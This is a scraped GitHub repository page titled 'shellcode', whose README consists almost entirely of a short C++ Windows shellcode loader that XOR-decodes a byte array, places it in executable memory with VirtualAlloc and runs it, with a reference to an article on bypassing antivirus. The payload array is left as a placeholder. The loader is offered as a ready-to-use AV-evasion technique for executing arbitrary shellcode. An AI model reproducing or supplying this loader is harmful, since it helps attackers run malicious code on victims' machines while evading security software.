Skip to content

MindaugasBernatavicius/shellcode

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 

Repository files navigation

Shellcode

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
    char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
    char c[sizeof b];
    for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, c, sizeof c);
    ((void(*)())exec)();
}

// REF: http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html?m=1

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published